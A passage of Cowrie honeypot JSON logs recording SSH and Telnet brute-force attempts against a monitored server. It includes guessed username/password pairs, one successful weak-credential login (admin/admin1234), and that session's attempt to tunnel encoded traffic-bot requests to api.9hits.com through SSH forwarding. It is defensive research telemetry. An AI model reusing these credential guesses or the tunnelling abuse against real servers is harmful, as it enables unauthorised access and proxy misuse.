stp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:57.319919Z","src_ip":"91.92.40.36","session":"4df84dda5d07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jiayin","password":"jiayin@2026","message":"login attempt [jiayin/jiayin@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:42:59.787940Z","src_ip":"91.92.40.36","session":"4df84dda5d07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:01.199208Z","src_ip":"91.92.40.36","session":"4df84dda5d07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":13030,"dst_ip":"159.203.135.109","dst_port":22,"session":"02e6a9191587","protocol":"ssh","message":"New connection: 91.92.40.36:13030 (159.203.135.109:22) [session: 02e6a9191587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:04.645747Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54452,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8ecec8e1c07","protocol":"telnet","message":"New connection: 128.199.8.54:54452 (159.203.135.109:23) [session: f8ecec8e1c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:04.711286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:05.161639Z","src_ip":"91.92.40.36","session":"02e6a9191587","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:05.164887Z","src_ip":"91.92.40.36","session":"02e6a9191587","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"femdom","password":"femdom","message":"login attempt [femdom/femdom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:06.954027Z","src_ip":"91.92.40.36","session":"02e6a9191587","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":35910,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcdcb05a2c0b","protocol":"ssh","message":"New connection: 103.82.132.16:35910 (10.17.0.5:22) [session: dcdcb05a2c0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:08.354881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:08.358966Z","src_ip":"103.82.132.16","session":"dcdcb05a2c0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:08.477717Z","src_ip":"91.92.40.36","session":"02e6a9191587","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:08.616356Z","src_ip":"103.82.132.16","session":"dcdcb05a2c0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"04091988","message":"login attempt [root/04091988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:09.389879Z","src_ip":"103.82.132.16","session":"dcdcb05a2c0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":49436,"dst_ip":"10.17.0.5","dst_port":22,"session":"4477447169a3","protocol":"ssh","message":"New connection: 113.164.152.20:49436 (10.17.0.5:22) [session: 4477447169a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:10.463984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:10.468461Z","src_ip":"113.164.152.20","session":"4477447169a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:10.652430Z","src_ip":"103.82.132.16","session":"dcdcb05a2c0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:10.768500Z","src_ip":"113.164.152.20","session":"4477447169a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":53083,"dst_ip":"159.203.135.109","dst_port":22,"session":"1dbcbeb7aeac","protocol":"ssh","message":"New connection: 41.90.100.147:53083 (159.203.135.109:22) [session: 1dbcbeb7aeac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:11.250265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:11.254869Z","src_ip":"41.90.100.147","session":"1dbcbeb7aeac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:11.469220Z","src_ip":"41.90.100.147","session":"1dbcbeb7aeac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":61866,"dst_ip":"159.203.135.109","dst_port":22,"session":"12d421a56427","protocol":"ssh","message":"New connection: 91.92.40.36:61866 (159.203.135.109:22) [session: 12d421a56427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:11.725586Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:12.020027Z","src_ip":"113.164.152.20","session":"4477447169a3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:12.347652Z","src_ip":"91.92.40.36","session":"12d421a56427","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:12.382992Z","src_ip":"91.92.40.36","session":"12d421a56427","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:12.433857Z","session":"4477447169a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:12.540729Z","session":"4477447169a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Test2025","message":"login attempt [test/Test2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:12.546036Z","src_ip":"41.90.100.147","session":"1dbcbeb7aeac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:13.734458Z","src_ip":"113.164.152.20","session":"4477447169a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; Civi) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=SGkmdFFrQmtTaWUyY294aA%3D%3DXZrbCfqXu0n2nGSAoKi3fpGNdzo6%2Bt1C19smkiByZ4TqBJlCBEv%2FvSyNLzahWJ3AQRQ3TmE8mYZVNmQ%2BBsxm1ZKV0rjXCcYfTNI3F7JPeHX8VrEa8e0ogC0hArNBW4sSD%2Bc9OGL%2Fso4nWz%2F%2Bi8QO8iGATI%2F348WHCYO1AI%2BuBXe3SYOdkD4cJDfqj96h8fhqP75ylc%2FLSckoGBaOepJMCeSIJvYu9BED%2F0P7bwMezZ0EF9dnIAuBdaBlwvlSzvFiBrLbKg2P%2FYL57ahrRRUoFPLQ%2BFyPi1UcShhag0OfDZBqkLsDUkgQgPH2OyfvPyRkSAaNKRt8HBynjXuJu673dswMH6E2i4t1rT%2FI3ZogK6kweAylUmj6%2FD6IqoVF%2BRpkkvFaHExai%2FsWyBKidZDcXFL5zeKi9polrdKx9LFgxBP%2FsFetaFqSzd7cUin%2FtZhZ0MXApq%2FDjROXnC0uXO0ZTI1XzAAh2tDgpmpYQ2ZckvX%2BwidW8TO4edJH%2FzWtKUCF4%2BgcwueIIDnNuZQBAmgwQYbrgxJB9HXsr8pBMr98ubzNjDjIrhLYEep%2B68aHPhgsBw9gPxZ%2FzYJmUpXOV50W%2BcFsgycNEkvLUyzyEmYqADpP%2BRoT%2F5ylw7cmcEltWLXgcLsWrv1aTBLqqAElIJmvVrZ%2FfhtdEzcb3Fr%2BK3uyufkxS9gGTAd0SjRdbpDTKI4uzRYEKuyoivbiZisU%2B0CIem9SmfH4GgEH63fuk5S8Zj9XbY27LNYyEBeqhoPqdBFyMRuONTdQ0hzf%2Bt4PoK%2FCy3uYs%2BqLVOTnzLzU99%2FA3Nb78CW7lzqHM4WOI8rcelbiZaeETILtLG6g8JbJW0H2yYi0rVhokBLAyLj%2FyAdtUCaL3kZxt4hpaFvmfIZqDiPuFCWtKY3kMFC3DVZhm%2F0ZBlYeRZSzCuogtVN9B133mym0xLn9s6d2xOeL68oLLs8QoPOjqSfqFvgoRP4a6nBBU6wIPY9GlzUicmTrNBbWQ0I7rNvUlpkvOyo3PHrRQKMtjJBqSyCrdwSAhsNnOsr2ddVUoPq%2F%2Ft9gYneDSpcOF7Q%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; Civi) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=SGkmdFFrQmtTaWUyY294aA%3D%3DXZrbCfqXu0n2nGSAoKi3fpGNdzo6%2Bt1C19smkiByZ4TqBJlCBEv%2FvSyNLzahWJ3AQRQ3TmE8mYZVNmQ%2BBsxm1ZKV0rjXCcYfTNI3F7JPeHX8VrEa8e0ogC0hArNBW4sSD%2Bc9OGL%2Fso4nWz%2F%2Bi8QO8iGATI%2F348WHCYO1AI%2BuBXe3SYOdkD4cJDfqj96h8fhqP75ylc%2FLSckoGBaOepJMCeSIJvYu9BED%2F0P7bwMezZ0EF9dnIAuBdaBlwvlSzvFiBrLbKg2P%2FYL57ahrRRUoFPLQ%2BFyPi1UcShhag0OfDZBqkLsDUkgQgPH2OyfvPyRkSAaNKRt8HBynjXuJu673dswMH6E2i4t1rT%2FI3ZogK6kweAylUmj6%2FD6IqoVF%2BRpkkvFaHExai%2FsWyBKidZDcXFL5zeKi9polrdKx9LFgxBP%2FsFetaFqSzd7cUin%2FtZhZ0MXApq%2FDjROXnC0uXO0ZTI1XzAAh2tDgpmpYQ2ZckvX%2BwidW8TO4edJH%2FzWtKUCF4%2BgcwueIIDnNuZQBAmgwQYbrgxJB9HXsr8pBMr98ubzNjDjIrhLYEep%2B68aHPhgsBw9gPxZ%2FzYJmUpXOV50W%2BcFsgycNEkvLUyzyEmYqADpP%2BRoT%2F5ylw7cmcEltWLXgcLsWrv1aTBLqqAElIJmvVrZ%2FfhtdEzcb3Fr%2BK3uyufkxS9gGTAd0SjRdbpDTKI4uzRYEKuyoivbiZisU%2B0CIem9SmfH4GgEH63fuk5S8Zj9XbY27LNYyEBeqhoPqdBFyMRuONTdQ0hzf%2Bt4PoK%2FCy3uYs%2BqLVOTnzLzU99%2FA3Nb78CW7lzqHM4WOI8rcelbiZaeETILtLG6g8JbJW0H2yYi0rVhokBLAyLj%2FyAdtUCaL3kZxt4hpaFvmfIZqDiPuFCWtKY3kMFC3DVZhm%2F0ZBlYeRZSzCuogtVN9B133mym0xLn9s6d2xOeL68oLLs8QoPOjqSfqFvgoRP4a6nBBU6wIPY9GlzUicmTrNBbWQ0I7rNvUlpkvOyo3PHrRQKMtjJBqSyCrdwSAhsNnOsr2ddVUoPq%2F%2Ft9gYneDSpcOF7Q%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:13.737633Z","src_ip":"113.164.152.20","session":"4477447169a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:13.740739Z","src_ip":"113.164.152.20","session":"4477447169a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03U\\x12\\xb5\\xb1;]\\xb9\\x1a55F{\\xf3\\xc7\\x98e^8{\\x0bO\\x12\"\\x01\\xaa\\x1fy\\\\>\\xbf\\xa4h \\xe3\\x91\\xbcm\\xb0\\xb5\\xbcP\\xc8\\xc0]\\x8f\\x9fM\\xacs\\xb0Y\\x8c\\xbb\\xe4Vb9\\x10\\xb6u:\\xd4\\xce\\xf2\\xaf\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x15(|\\xa9\\xd77\\x13\\xd7<\\'\\xc7;\\xf3\\x985\\xaeeZ\\x05(\\x10\\xe3\\xbc\\xa6\\xc3[D\\x9e~Y\\x13+\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x